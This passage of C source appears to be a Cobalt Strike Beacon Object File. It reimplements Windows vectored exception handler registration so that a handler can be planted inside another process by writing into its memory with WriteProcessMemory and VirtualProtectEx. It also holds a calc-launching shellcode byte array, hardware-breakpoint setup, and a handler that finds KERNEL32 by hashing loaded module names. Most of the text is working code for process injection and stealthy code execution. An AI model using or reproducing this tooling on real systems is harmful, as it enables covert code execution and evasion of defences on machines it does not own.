    NtAllocateVirtualMemory = (LPNTALLOCATEVIRTUALMEMORY)GetProcAddress(ntdll, "NtAllocateVirtualMemory");
    NtFreeVirtualMemory = (LPNTFREEVIRTUALMEMORY)GetProcAddress(ntdll, "NtFreeVirtualMemory");
    RtlCreateHeap = (RTLCREATEHEAP)GetProcAddress(ntdll, "RtlCreateHeap");
    RtlAllocateHeap = (RTLALLOCATEHEAP)GetProcAddress(ntdll, "RtlAllocateHeap");
    RtlProtectHeap = (RTLPROTECTHEAP)GetProcAddress(ntdll, "RtlProtectHeap");
    RtlFreeHeap = (RTLFREEHEAP)GetProcAddress(ntdll, "RtlFreeHeap");
    RtlDestroyHeap = (RTLDESTROYHEAP)GetProcAddress(ntdll, "RtlDestroyHeap");

    BeaconPrintf(CALLBACK_OUTPUT, "LdrEnsureMrdataHeapExists");

    // If CFG is not enabled or LdrpMrdataHeap has already been allocated (i.e. not NULL)
    if (!LdrControlFlowGuardEnforced() || LdrpMrdataHeap)
    return STATUS_SUCCESS;

    BaseAddress = 0;
    RegionSize = (ULONG_PTR)LdrpAllocationGranularity;

    result = NtAllocateVirtualMemory(NtCurrentProcess(), &BaseAddress, 0, &RegionSize, MEM_RESERVE, PAGE_READWRITE);

    if (NT_SUCCESS(result))
    {
    pHeap = RtlCreateHeap(HEAP_GROWABLE, BaseAddress, 0, 0, 0, 0);

    if (pHeap)
    {
    alloc = RtlAllocateHeap(pHeap, 0, 4);

    if (alloc)
    {
    ProtectHeap = TRUE;
    RtlProtectHeap(pHeap, ProtectHeap);
    LdrProtectMrdata(FALSE);
    AcquireSRWLockExclusive(&LdrpMrdataLock);
    // Now we allocated a READONLY heap, lets update the global variables
    if (!LdrpMrdataHeap)
    {
    // LdrpMrdataHeapUnprotected will either be NULL or address of alloc
    LdrpMrdataHeapUnprotected = alloc;
    LdrpMrdataHeap = pHeap;
    ReleaseSRWLockExclusive(&LdrpMrdataLock);
    LdrProtectMrdata(TRUE);
    return STATUS_SUCCESS;
    }
    ReleaseSRWLockExclusive(&LdrpMrdataLock);
    LdrProtectMrdata(TRUE);
    RtlProtectHeap(pHeap, 0);
    RtlFreeHeap(pHeap, 0, alloc);
    }
    RtlDestroyHeap(pHeap);
    }

    // Free memory we allocated with NtAllocateVirtualMemory
    // We get here if RtlCreateHeap or RtlAllocateHeap failed
    NtFreeVirtualMemory(NtCurrentProcess(), &BaseAddress, &RegionSize, MEM_RELEASE);

    // Should always hit STATUS_NO_MEMORY here, since we never successfully called RtlAllocateHeap
    // However another thread may have already allocated it, so we double check (I guess?)
    if (!LdrpMrdataHeap)
    return STATUS_NO_MEMORY;
    return STATUS_SUCCESS;
    }
    // If NtAllocateVirtualMemory fails, we just return it's NT_STATUS
    return result;
    }

    ULONG RtlpRemoveVectoredHandlerEx(PVOID Handle)
    {
    return 0;
    }


    ULONG RtlpRemoveVectoredHandler(PVOID Handle)
    {
    // If the function succeeds, the return value is nonzero.
    // If the function fails, the return value is zero.
    return 0;
    }

    PVECTORED_HANDLER_ENTRY RtlpAddVectoredHandlerEx(
    IN HANDLE hProc,
    IN ULONG FirstHandler,
    IN PVECTORED_EXCEPTION_HANDLER VectoredHandler,
    IN BOOL IsUsingVCH)
    {
    //DFR_LOCAL(KERNEL32, GetProcAddress);
    //DFR_LOCAL(KERNEL32, GetModuleHandleA);
    //DFR_LOCAL(KERNEL32, ReadProcessMemory);
    //DFR_LOCAL(KERNEL32, WriteProcessMemory);
    //DFR_LOCAL(KERNEL32, VirtualAllocEx);
    //DFR_LOCAL(KERNEL32, VirtualProtectEx);
    //DFR_LOCAL(KERNEL32, GetLastError);
    //DFR_LOCAL(MSVCRT, calloc);
    //DFR_LOCAL(MSVCRT, free);

    ULONG cookie = 0;
    PVOID alloc1 = NULL;

    void* headAddr = NULL;
    void* handlerListAddr = NULL;

    PVECTORED_HANDLER_ENTRY entry = NULL;
    PVECTORED_HANDLER_ENTRY myEntry = NULL;
    PVECTORED_HANDLER_ENTRY newEntry = NULL;

    PVECTORED_HANDLER_LIST head = NULL;

    PLIST_ENTRY Flink = NULL;
    PLIST_ENTRY Blink = NULL;

    DWORD oldProtect = 0;
    SIZE_T bytesWritten = 0;
    SIZE_T bytesRead = 0;

    if (hProc == NULL)
    return NULL;

    HMODULE ntdll = GetModuleHandleA("ntdll");
    if (ntdll == 0)
    return NULL;

    BeaconPrintf(CALLBACK_OUTPUT, "RtlpAddVectoredHandler");

    // 1fc98bca-1ba9-4397-93f9-349ead41e057
    // GUID guid = { 0x1fc98bca, 0x1ba9, 0x4397, {0x93, 0xf9, 0x34, 0x9e, 0xad, 0x41, 0xe0, 0x57} };
    if (TRUE) // NT_SUCCESS(LdrEnsureMrdataHeapExistsEx(hProc)) && RtlQueryProtectedPolicy(&guid, &policyEnabled) || !policyEnabled)
    {
    if (LdrControlFlowGuardEnforced())
    {
    // TODO
    return NULL;
    }

    // Allocate Heap to store new VECTORED_HANDLER_ENTRY structure
    newEntry = (PVECTORED_HANDLER_ENTRY)VirtualAllocEx(hProc, 0, sizeof(VECTORED_HANDLER_ENTRY), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (newEntry == NULL)
    {
    BeaconPrintf(CALLBACK_ERROR, "VirtualAllocEx(newEntry) returned NULL");
    return NULL;
    }

    myEntry = (PVECTORED_HANDLER_ENTRY)calloc(1, sizeof(VECTORED_HANDLER_ENTRY));
    if (myEntry == NULL)
    {
    BeaconPrintf(CALLBACK_ERROR, "Unable to allocate new entry in current process");
    goto CLEANUP_EXIT;
    }

    BeaconPrintf(CALLBACK_OUTPUT, "Allocated myEntry in current proc at: %p", myEntry);
    BeaconPrintf(CALLBACK_OUTPUT, "Allocated newEntry in remote proc at: %p", newEntry);

    cookie = GetProcessCookie(hProc);

    // Allocate memory to store refcount in myEntry->Unknown1 (init: 1)
    alloc1 = (PVECTORED_HANDLER_ENTRY)VirtualAllocEx(hProc, 0, sizeof(DWORD64), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (alloc1 == NULL)
    {
    BeaconPrintf(CALLBACK_ERROR, "VirtualAllocEx(alloc1) returned NULL");
    goto CLEANUP_EXIT;
    }

    // Write the 1 value to the alloc1 (refcount) pointer
    DWORD64 refs = 1;
    if (!WriteProcessMemory(hProc, alloc1, &refs, sizeof(DWORD64), NULL))
    {
    BeaconPrintf(CALLBACK_ERROR, "WriteProcessMemory(alloc1) returned FALSE");
    goto CLEANUP_EXIT;
    }

    // Set refcount to pointer of the 1 value we already wrote
    myEntry->Unknown1 = (DWORD64*)alloc1;

    // Always 0
    myEntry->Unknown2 = 0;

    // Encode the address with the remote process cookie
    myEntry->Handler = (PVECTORED_EXCEPTION_HANDLER)_rotr64((ULONG_PTR)VectoredHandler ^ cookie, cookie & 0x3F);

    // Add the new entry into the remote LdrpVectorHandlerList
    headAddr = ((byte*)GetLdrpVectorHandlerList() + (IsUsingVCH * sizeof(PVOID)));
    handlerListAddr = ((byte*)headAddr + offsetof(VECTORED_HANDLER_LIST, HandlerList)); // 0x8

    head = (PVECTORED_HANDLER_LIST)calloc(1, sizeof(VECTORED_HANDLER_LIST));
    if (head == NULL)
    {
    BeaconPrintf(CALLBACK_ERROR, "Unable to allocate %d bytes for VECTORED_HANDLER_LIST", sizeof(VECTORED_HANDLER_LIST));
    goto CLEANUP_EXIT;
    }

    if (!ReadProcessMemory(hProc, headAddr, head, sizeof(VECTORED_HANDLER_LIST), &bytesRead)
    || bytesRead != sizeof(VECTORED_HANDLER_LIST))
    {
    BeaconPrintf(CALLBACK_ERROR, "Unable to read handler list. Read=%d, Error=%d", bytesRead, GetLastError());
    goto CLEANUP_EXIT;
    }

    // Print metadata
    BeaconPrintf(CALLBACK_OUTPUT, "head->SrwLock: %#llx", head->SrwLock);
    BeaconPrintf(CALLBACK_OUTPUT, "&head->HandlerList: %#llx", handlerListAddr);
    BeaconPrintf(CALLBACK_OUTPUT, "head->HandlerList->Flink: %p", head->HandlerList.Flink);
    BeaconPrintf(CALLBACK_OUTPUT, "head->HandlerList->Blink: %p", head->HandlerList.Blink);

    // Add correct bitmask to Peb->CrossProcessFlags for VEH/VCH if list was previously empty ..
    if (head->HandlerList.Flink == handlerListAddr)
    {
    BOOL result = SetCrossProcessFlags(hProc, IsUsingVCH ? 0x8 : 0x4);
    BeaconPrintf(CALLBACK_OUTPUT, "SetCrossProcessFlags: %d", result);
    }

    if (FirstHandler)
    {
    BeaconPrintf(CALLBACK_OUTPUT, "Adding First Handler");

    entry = (PVECTORED_HANDLER_ENTRY)calloc(1, sizeof(VECTORED_HANDLER_ENTRY));
    if (entry == NULL)
    goto CLEANUP_EXIT;

    if (!ReadProcessMemory(hProc, head->HandlerList.Flink, entry, sizeof(VECTORED_HANDLER_ENTRY), NULL))
    {
    BeaconPrintf(CALLBACK_ERROR, "Unable to read handler list");
    goto CLEANUP_EXIT;
    }

    // if (head->HandlerList.Flink->Blink == &head->HandlerList)
    Flink = head->HandlerList.Flink;
    PVOID FlinkBlinkAddr = ReadPointer(hProc, ((byte*)Flink + offsetof(LIST_ENTRY, Blink))); // 0x8
    BeaconPrintf(CALLBACK_OUTPUT, "FlinkBlinkAddr: %llx", FlinkBlinkAddr);

    if (FlinkBlinkAddr == handlerListAddr) // valid list
    {
    // Flink = HandlerList->Entry.Flink;
    BeaconPrintf(CALLBACK_OUTPUT, "Flink: %#llx", Flink);
    myEntry->Entry.Flink = Flink; // Sets our Flink to whatever was first in the list (or &HandlerList if it was empty)
    myEntry->Entry.Blink = (PLIST_ENTRY)handlerListAddr; // Set our Blink to HandlerList head
    head->HandlerList.Flink = (PLIST_ENTRY)newEntry; // Set the first entry to our alloc'ed record address

    // Make the page writeable
    if (!VirtualProtectEx(hProc, headAddr, 0x1000, PAGE_READWRITE, &oldProtect))
    {
    BeaconPrintf(CALLBACK_ERROR, "Unable to update page permissions for handler list");
    goto CLEANUP_EXIT;
    }

    BeaconPrintf(CALLBACK_OUTPUT, "oldProtect: %d", oldProtect);

    // Set the next entries Blink to our new entry (i.e. insert our record at the beginning of the list)
    // head->HandlerList.Flink->Blink = &newEntry->Entry;
    if (Flink == handlerListAddr)
    {
    // No existing entries, we can update our local copy of the HandlerList->Blink instead, before writing it back
    // This saves a wasted WriteProcessMemory call
    head->HandlerList.Blink = (PLIST_ENTRY)newEntry;
    }
    else
    {
    // Existing entry already exists, update its Blink to our new entry
    BOOL isProtected = (((byte*)FlinkBlinkAddr - (byte*)headAddr) > 0x1000);
    BeaconPrintf(CALLBACK_OUTPUT, "FlinkBlinkAddr: %#llx (protected: %d)", FlinkBlinkAddr, isProtected);

    PVOID pNewEntry = newEntry;
    if (!WriteProcessMemory(hProc, ((byte*)Flink + offsetof(LIST_ENTRY, Blink)), &pNewEntry, sizeof(PVOID), &bytesWritten))
    {
    BeaconPrintf(CALLBACK_ERROR, "Unable to write head->HandlerList.Flink->Blink to: %#llx, error=%d, written=%d",
    FlinkBlinkAddr, GetLastError(), bytesWritten);
    goto CLEANUP_EXIT;
    }
    }

    // Write the VEH entry
    if (!WriteProcessMemory(hProc, newEntry, myEntry, sizeof(VECTORED_HANDLER_ENTRY), &bytesWritten))
    {
    BeaconPrintf(CALLBACK_ERROR, "Unable to write handler entry to remote proc");
    goto CLEANUP_EXIT;
    }

    // Write the updated list
    if (!WriteProcessMemory(hProc, headAddr, head, sizeof(VECTORED_HANDLER_LIST), &bytesWritten))
    {
    BeaconPrintf(CALLBACK_ERROR, "Unable to write handler list to remote proc");
    goto CLEANUP_EXIT;
    }
    }
    else
    {
    BeaconPrintf(CALLBACK_ERROR, "FlinkBlinkAddr(%#llx) != handlerListAddr(%#llx)", FlinkBlinkAddr, handlerListAddr);
    }
    }
    else
    {
    BeaconPrintf(CALLBACK_OUTPUT, "Adding Last Handler");
    BeaconPrintf(CALLBACK_OUTPUT, "head->HandlerList = %p", handlerListAddr);

    Flink = head->HandlerList.Flink;
    Blink = head->HandlerList.Blink;

    PVOID BlinkFlinkAddr = ReadPointer(hProc, ((byte*)Blink + offsetof(LIST_ENTRY, Flink))); // 0x0
    BeaconPrintf(CALLBACK_OUTPUT, "BlinkFlinkAddr: %llx", BlinkFlinkAddr);

    // if ( Blink->Flink == HandlerList )
    if (BlinkFlinkAddr == handlerListAddr) // valid list
    {
    //newEntry->Entry.Flink = &head->HandlerList;
    //newEntry->Entry.Blink = Blink;
    //Blink->Flink = &newEntry->Entry;
    //head->HandlerList.Blink = &newEntry->Entry;
    BeaconPrintf(CALLBACK_OUTPUT, "Flink: %#llx", Flink);
    myEntry->Entry.Flink = (PLIST_ENTRY)handlerListAddr; // Next entry is beginning of list (i.e. we are last entry)
    myEntry->Entry.Blink = Blink; // Set our Blink to the previous last entry
    head->HandlerList.Blink = (PLIST_ENTRY)newEntry; // Set the HandlerList Blink (i.e. last) entry to ours

    // Make the page writeable
    if (!VirtualProtectEx(hProc, headAddr, 0x1000, PAGE_READWRITE, &oldProtect))
    {
    BeaconPrintf(CALLBACK_ERROR, "Unable to update page permissions for handler list");
    goto CLEANUP_EXIT;
    }
    BeaconPrintf(CALLBACK_OUTPUT, "oldProtect: %d", oldProtect);


    // Set the head->HandlerList.Blink to our new entry (i.e. the last record in the list)
    // Blink->Flink = &newEntry->Entry;
    if (Blink == handlerListAddr)
    {
    // No existing entries, we can update our local copy of the HandlerList->Flink instead, before writing it back
    // This saves a wasted WriteProcessMemory call
    head->HandlerList.Flink = (PLIST_ENTRY)newEntry;
    }
    else
    {
    // Existing entry already exists, update its Flink to our new entry
    BOOL isProtected = (((byte*)BlinkFlinkAddr - (byte*)headAddr) > 0x1000);
    BeaconPrintf(CALLBACK_OUTPUT, "BlinkFlinkAddr: %#llx (protected: %d)", BlinkFlinkAddr, isProtected);

    PVOID pNewEntry = newEntry;
    if (!WriteProcessMemory(hProc, ((byte*)Blink + offsetof(LIST_ENTRY, Flink)), &pNewEntry, sizeof(PVOID), &bytesWritten))
    {
    BeaconPrintf(CALLBACK_ERROR, "Unable to write head->HandlerList.Blink->Flink to: %#llx, error=%d, written=%d",
    BlinkFlinkAddr, GetLastError(), bytesWritten);
    goto CLEANUP_EXIT;
    }
    }

    // Write the VEH entry
    if (!WriteProcessMemory(hProc, newEntry, myEntry, sizeof(VECTORED_HANDLER_ENTRY), &bytesWritten))
    {
    BeaconPrintf(CALLBACK_ERROR, "Unable to write handler entry to remote proc");
    goto CLEANUP_EXIT;
    }

    // Write the updated list
    if (!WriteProcessMemory(hProc, headAddr, head, sizeof(VECTORED_HANDLER_LIST), &bytesWritten))
    {
    BeaconPrintf(CALLBACK_ERROR, "Unable to write handler list to remote proc");
    goto CLEANUP_EXIT;
    }
    }
    }



    }
    CLEANUP_EXIT:
    if (head != NULL)
    free(head);
    if (myEntry != NULL)
    free(myEntry);
    if (entry != NULL)
    free(entry);
    if (headAddr && oldProtect)
    VirtualProtectEx(hProc, headAddr, 0x1000, oldProtect, &oldProtect);
    BeaconPrintf(CALLBACK_OUTPUT, "RtlpAddVectoredHandlerEx done");
    return newEntry;
    }

    PVECTORED_HANDLER_ENTRY RtlpAddVectoredHandler(
    IN ULONG FirstHandler,
    IN PVECTORED_EXCEPTION_HANDLER VectoredHandler,
    IN BOOL IsUsingVCH)
    {
    //DFR_LOCAL(KERNEL32, GetProcAddress);
    //DFR_LOCAL(KERNEL32, GetModuleHandleA);
    //DFR_LOCAL(NTDLL, AcquireSRWLockExclusive);
    //DFR_LOCAL(NTDLL, ReleaseSRWLockExclusive);

    bool v15;
    DWORD checked;

    PVOID pHeap;
    PVOID ProcessHeap;
    PVOID alloc1;

    VECTORED_HANDLER_ENTRY* newEntry;

    LIST_ENTRY* Flink;
    LIST_ENTRY* Blink;

    DWORD isLdrpMrdataHeapUnprotected;
    BOOLEAN Protect;
    NTSTATUS status;
    ULONG cookie = 0;
    ULONG_PTR policyEnabled = 0;

    HMODULE ntdll = GetModuleHandleA("ntdll");
    if (ntdll == 0)
    return NULL;

    // TODO: syscalls
    NtQueryInformationProcess = (LPNTQUERYINFORMATIONPROCESS)GetProcAddress(ntdll, "NtQueryInformationProcess");
    RtlQueryProtectedPolicy = (RTLQUERYPROTECTEDPOLICY)GetProcAddress(ntdll, "RtlQueryProtectedPolicy");
    RtlRaiseStatus = (RTLRAISESTATUS)GetProcAddress(ntdll, "RtlRaiseStatus");
    RtlAllocateHeap = (RTLALLOCATEHEAP)GetProcAddress(ntdll, "RtlAllocateHeap");
    RtlProtectHeap = (RTLPROTECTHEAP)GetProcAddress(ntdll, "RtlProtectHeap");
    RtlFreeHeap = (RTLFREEHEAP)GetProcAddress(ntdll, "RtlFreeHeap");

    BeaconPrintf(CALLBACK_OUTPUT, "RtlpAddVectoredHandler");

    // 1fc98bca-1ba9-4397-93f9-349ead41e057
    GUID guid = { 0x1fc98bca, 0x1ba9, 0x4397, {0x93, 0xf9, 0x34, 0x9e, 0xad, 0x41, 0xe0, 0x57} };

    if (NT_SUCCESS(LdrEnsureMrdataHeapExists()) && RtlQueryProtectedPolicy(&guid, &policyEnabled) || !policyEnabled)
    {
    BeaconPrintf(CALLBACK_OUTPUT, "ProtectedPolicy == FALSE");

    if (LdrControlFlowGuardEnforced())
    {
    BeaconPrintf(CALLBACK_OUTPUT, "LdrControlFlowGuardEnforced == TRUE");

    AcquireSRWLockExclusive(&LdrpMrdataLock);
    checked = *(DWORD*)LdrpMrdataHeapUnprotected;
    if (*(DWORD*)LdrpMrdataHeapUnprotected)
    {
    // Seems like an overflow check
    if (checked == -1)
    goto RELEASE_LDRPDATALOCK_AND_FAIL_WITH_ERROR_14;
    }
    else
    {
    // Make LdrpMrdataHeap PAGE_READWRITE
    RtlProtectHeap(LdrpMrdataHeap, 0);
    }

    // Sets LdrpMrdataHeapUnprotected = TRUE
    *(DWORD*)LdrpMrdataHeapUnprotected = checked + 1;
    ReleaseSRWLockExclusive(&LdrpMrdataLock);
    }

    // ProcessHeap should be READWRITE now
    if (LdrControlFlowGuardEnforced())
    ProcessHeap = LdrpMrdataHeap;
    else
    ProcessHeap = NtCurrentPeb()->ProcessHeap;

    // Allocate Heap to store new VECTORED_HANDLER_ENTRY structure
    //BeaconPrintf(CALLBACK_OUTPUT, "sizeof(VECTORED_HANDLER_ENTRY) == %zu\n", sizeof(VECTORED_HANDLER_ENTRY));
    newEntry = (VECTORED_HANDLER_ENTRY*)RtlAllocateHeap(ProcessHeap, 0, sizeof(VECTORED_HANDLER_ENTRY));
    BeaconPrintf(CALLBACK_OUTPUT, "Allocated newEntry at: %p", newEntry);

    // If RtlAllocateHeap failed ..
    if (!newEntry)
    {
    RESTORE_MRDATAHEAP_PROTECTION_AND_RETURN:
    // Just return pVecNewEntry if CFG was already disabled
    if (!LdrControlFlowGuardEnforced())
    return newEntry;

    // otherwise re-enable LdrpMrdataHeap Protection first
    AcquireSRWLockExclusive(&LdrpMrdataLock);
    isLdrpMrdataHeapUnprotected = *(DWORD*)LdrpMrdataHeapUnprotected;

    if (LdrpMrdataHeapUnprotected)
    {
    v15 = isLdrpMrdataHeapUnprotected == 1;
    Protect = (unsigned int)(isLdrpMrdataHeapUnprotected - 1);
    *(DWORD*)LdrpMrdataHeapUnprotected = Protect;
    if (v15)
    {
    Protect = 1;
    RtlProtectHeap(LdrpMrdataHeap, Protect);
    }
    ReleaseSRWLockExclusive(&LdrpMrdataLock);
    return newEntry;
    }

    RELEASE_LDRPDATALOCK_AND_FAIL_WITH_ERROR_14:
    ReleaseSRWLockExclusive(&LdrpMrdataLock);
    __fastfail(0xE);
    }

    // Reserved: Always 0
    newEntry->Unknown2 = 0;

    // Allocate heap space and store the address in pVecNewEntry->Unknown1
    alloc1 = RtlAllocateHeap(NtCurrentPeb()->ProcessHeap, 0, sizeof(DWORD64));
    newEntry->Unknown1 = (DWORD64*)alloc1;

    if (!alloc1)
    {
    // If RtlAllocateHeap failed then free LdrpMrdataHeap / ProcessHeap
    // and then return NULL
    if (LdrControlFlowGuardEnforced())
    pHeap = LdrpMrdataHeap;
    else
    pHeap = NtCurrentPeb()->ProcessHeap;

    RtlFreeHeap(pHeap, 0, newEntry);
    newEntry = NULL;
    goto RESTORE_MRDATAHEAP_PROTECTION_AND_RETURN;
    }

    *(DWORD64*)alloc1 = 1;
    BeaconPrintf(CALLBACK_OUTPUT, "pVecNewEntry->Unknown1: %d", *newEntry->Unknown1);

    if (!g_CookieValue)
    {
    status = NtQueryInformationProcess(
    (HANDLE)0xFFFFFFFFFFFFFFFF,
    (PROCESSINFOCLASS)36,
    &cookie,
    sizeof(ULONG),
    NULL);

    if (status < 0)
    RtlRaiseStatus(status);

    g_CookieValue = cookie;
    BeaconPrintf(CALLBACK_OUTPUT, "Cookie: %lu", cookie);
    }

    // Encode the Handler pointer using the process cookie value
    newEntry->Handler = (PVECTORED_EXCEPTION_HANDLER)_rotr64((ULONG_PTR)VectoredHandler ^ cookie, cookie & 0x3F);

    PVECTORED_HANDLER_LIST LdrpVectorHandlerList = (PVECTORED_HANDLER_LIST)GetLdrpVectorHandlerList();
    PVECTORED_HANDLER_LIST head = &LdrpVectorHandlerList[IsUsingVCH];

    BeaconPrintf(CALLBACK_OUTPUT, "LdrpVectorHandlerList = %#llx", *(ULONG_PTR*)LdrpVectorHandlerList);
    BeaconPrintf(CALLBACK_OUTPUT, "head = %p", &head);
    BeaconPrintf(CALLBACK_OUTPUT, "head->SrwLock = %p", head->SrwLock);
    BeaconPrintf(CALLBACK_OUTPUT, "head->HandlerList = %p", &head->HandlerList);

    // Unprotect .mrdata and acquire the LdrpVectorHandlerList VEH/VCH SRW lock
    LdrProtectMrdata(0);
    AcquireSRWLockExclusive(head->SrwLock);

    // Add correct bitmask to NtCurrentPeb()->CrossProcessFlags for VEH/VCH if list was previously empty ..
    if (head->HandlerList.Flink == &head->HandlerList)
    {
    BOOL status = _interlockedbittestandset((LONG*)((PBYTE)NtCurrentPeb() + 0x50), IsUsingVCH + 2);
    BeaconPrintf(CALLBACK_OUTPUT, "_interlockedbittestandset: %d", status);
    }

    BeaconPrintf(CALLBACK_OUTPUT, "NtCurrentPeb()->CrossProcessFlags: %d", *(LONG*)((PBYTE)NtCurrentPeb() + 0x50));

    if (FirstHandler)
    {
    BeaconPrintf(CALLBACK_OUTPUT, "Adding First Handler");
    BeaconPrintf(CALLBACK_OUTPUT, "Flink = %p", head->HandlerList.Flink);
    BeaconPrintf(CALLBACK_OUTPUT, "Blink = %p", head->HandlerList.Blink);
    BeaconPrintf(CALLBACK_OUTPUT, "head->HandlerList = %p", &head->HandlerList);

    if (head->HandlerList.Flink->Blink == &head->HandlerList)
    {
    BeaconPrintf(CALLBACK_OUTPUT, "address of newEntry: %p", newEntry);
    Flink = head->HandlerList.Flink;
    newEntry->Entry.Flink = Flink;
    newEntry->Entry.Blink = &head->HandlerList;
    Flink->Blink = &newEntry->Entry;
    head->HandlerList.Flink = &newEntry->Entry;
    ReleaseSRWLockExclusive(head->SrwLock);
    LdrProtectMrdata(1);
    goto RESTORE_MRDATAHEAP_PROTECTION_AND_RETURN;
    }
    }
    else
    {
    BeaconPrintf(CALLBACK_OUTPUT, "Adding Last Handler");
    BeaconPrintf(CALLBACK_OUTPUT, "Flink = %p", head->HandlerList.Flink);
    BeaconPrintf(CALLBACK_OUTPUT, "Blink = %p", head->HandlerList.Blink);
    BeaconPrintf(CALLBACK_OUTPUT, "head->HandlerList = %p", &head->HandlerList);

    Blink = head->HandlerList.Blink;
    if (Blink->Flink == &head->HandlerList)
    {
    BeaconPrintf(CALLBACK_OUTPUT, "address of newEntry: %p", newEntry);
    newEntry->Entry.Flink = &head->HandlerList;
    newEntry->Entry.Blink = Blink;
    Blink->Flink = &newEntry->Entry;
    head->HandlerList.Blink = &newEntry->Entry;
    ReleaseSRWLockExclusive(head->SrwLock);
    LdrProtectMrdata(1);
    goto RESTORE_MRDATAHEAP_PROTECTION_AND_RETURN;
    }
    }
    __fastfail(3);
    }
    return NULL;
    }

    void CauseCrash()
    {
    //DFR_LOCAL(KERNEL32, VirtualAlloc);
    //DFR_LOCAL(KERNEL32, RaiseException);
    //DFR_LOCAL(MSVCRT, memcpy);
    void* addr = VirtualAlloc(0, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READONLY);
    BeaconPrintf(CALLBACK_OUTPUT, "Alloc: 0x%#llx", addr);
    BYTE bytes[0x10] = { };
    memcpy((void*)0x41414141, (void*)0x42424242, 0x43434343);
    }

    void TestAddHandlerDefault()
    {
    //DFR_LOCAL(KERNEL32, RaiseException);
    //DFR_LOCAL(KERNEL32, AddVectoredExceptionHandler);
    AddVectoredExceptionHandler(TRUE, &MyVectoredHandler);
    DumpHandlers(FALSE, FALSE);
    //RaiseException(EXCEPTION_ACCESS_VIOLATION, 0, 0, NULL);
    CauseCrash();
    }

    void TestAddHandlerCustom()
    {
    //DFR_LOCAL(KERNEL32, RaiseException);
    RtlpAddVectoredHandler(TRUE, &MyVectoredHandler, FALSE);
    DumpHandlers(FALSE, FALSE);
    //RaiseException(EXCEPTION_ACCESS_VIOLATION, 0, 0, NULL);
    CauseCrash();
    }

    unsigned char calcBytes[113] = {
    0x31, 0xC0, 0x50, 0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x50, 0x40,
    0x92, 0x74, 0x15, 0x51, 0x64, 0x8B, 0x72, 0x2F, 0x8B, 0x76, 0x0C, 0x8B,
    0x76, 0x0C, 0xAD, 0x8B, 0x30, 0x8B, 0x7E, 0x18, 0xB2, 0x50, 0xEB, 0x1A,
    0xB2, 0x60, 0x48, 0x29, 0xD4, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76,
    0x18, 0x48, 0x8B, 0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B,
    0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B, 0x74, 0x1F,
    0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24, 0x0F, 0xB7, 0x2C, 0x17,
    0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C, 0x07, 0x57, 0x69, 0x6E, 0x45, 0x75,
    0xEF, 0x8B, 0x74, 0x1F, 0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48,
    0x01, 0xF7, 0x99, 0xFF, 0xD7
    };

    unsigned char dbgBytes[4] = { 0xcc, 0xcc, 0xcc, 0xcc };

    void AddHardwareBreakpoint(HANDLE hThread, void* addr, int index)
    {
    //DFR_LOCAL(KERNEL32, SetThreadContext);
    //DFR_LOCAL(KERNEL32, GetLastError);

    CONTEXT ctx = { 0 };
    ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
    EnableBreakpoint(&ctx, addr, 0);

    if (!SetThreadContext(hThread, &ctx))
    {
    BeaconPrintf(CALLBACK_ERROR, "Error setting hardware breakpoint");
    BeaconPrintf(CALLBACK_ERROR, "Error status: %lu", GetLastError());
    }
    }

    typedef FARPROC(WINAPI* _GetProcAddress)(HMODULE, LPCSTR);
    typedef HMODULE(WINAPI* _GetModuleHandleA)(LPCSTR);
    typedef BOOL(WINAPI* _VirtualProtect)(LPVOID, SIZE_T, DWORD, PDWORD);
    typedef UINT(WINAPI* _WinExec)(LPCSTR, UINT);

    typedef struct _LDR_DATA_TABLE_ENTRY
    {
    LIST_ENTRY InLoadOrderLinks;
    LIST_ENTRY InMemoryOrderLinks;
    LIST_ENTRY InInitializationOrderLinks;
    LPVOID DllBase;
    LPVOID EntryPoint;
    ULONG SizeOfImage;
    UNICODE_STRING FullDllName;
    UNICODE_STRING BaseDllName;
    } LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;

    //#define BOF

    LONG CALLBACK ShellcodeFunc(PEXCEPTION_POINTERS ExceptionInfo)
    {
    #pragma warning( disable : 6011 )
    #if defined(_DEBUG) && defined(BOF) && defined(_WIN64)
    BeaconPrintf(CALLBACK_OUTPUT, "Got instruction pointer value: %p", ExceptionInfo->ContextRecord->Rip);
    #elif defined(_DEBUG) && defined(BOF) && !defined(_WIN64)
    BeaconPrintf(CALLBACK_OUTPUT, "Got instruction pointer value: %p", ExceptionInfo->ContextRecord->Eip);
    #endif

    #if defined(_WIN64)
    PPEB peb = (PPEB)__readgsqword(0x60);
    #else
    PPEB peb = (PPEB)__readfsdword(0x30);
    #endif
    PPEB_LDR_DATA ldr = (PPEB_LDR_DATA)peb->LoaderData;
    PLIST_ENTRY head = &ldr->InMemoryOrderModuleList;
    PLIST_ENTRY curr = head->Flink;

    // Iterate through every loaded DLL in the current process
    PVOID dllBase = NULL;

    do {
    PLDR_DATA_TABLE_ENTRY dllEntry = CONTAINING_RECORD(curr, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);

    // djb2 hash function
    unsigned long hash = 5381;
    int c;

    PWCHAR dllName = (PWCHAR)dllEntry->BaseDllName.Buffer;
    while ((c = *dllName++))
    hash = ((hash << 5) + hash) + c;

    #if defined(_DEBUG) && defined(BOF)
    BeaconPrintf(CALLBACK_OUTPUT, "DLL: %ls, Hash=%lu", dllEntry->BaseDllName.Buffer, hash);
    #endif
    /*
    Can use BaseDllName or FullDllName
    BaseDllName: ntdll.dll
    Hash: 584300013
    BaseDllName: KERNEL32.DLL
    Hash: 1843107157
    BaseDllName: KERNELBASE.dll
    Hash: 65814507
    FullDllName: C:\\Windows\\System32\\KERNEL32.DLL
    Hash: 174753947
    FullDllName: C:\WINDOWS\System32\KERNEL32.DLL
    Hash: 4236524507
    */

    // KERNEL32.DLL
    if (hash == 1843107157) {
    dllBase = dllEntry->DllBase;
    }

    curr = curr->Flink;
    } while (curr != head);

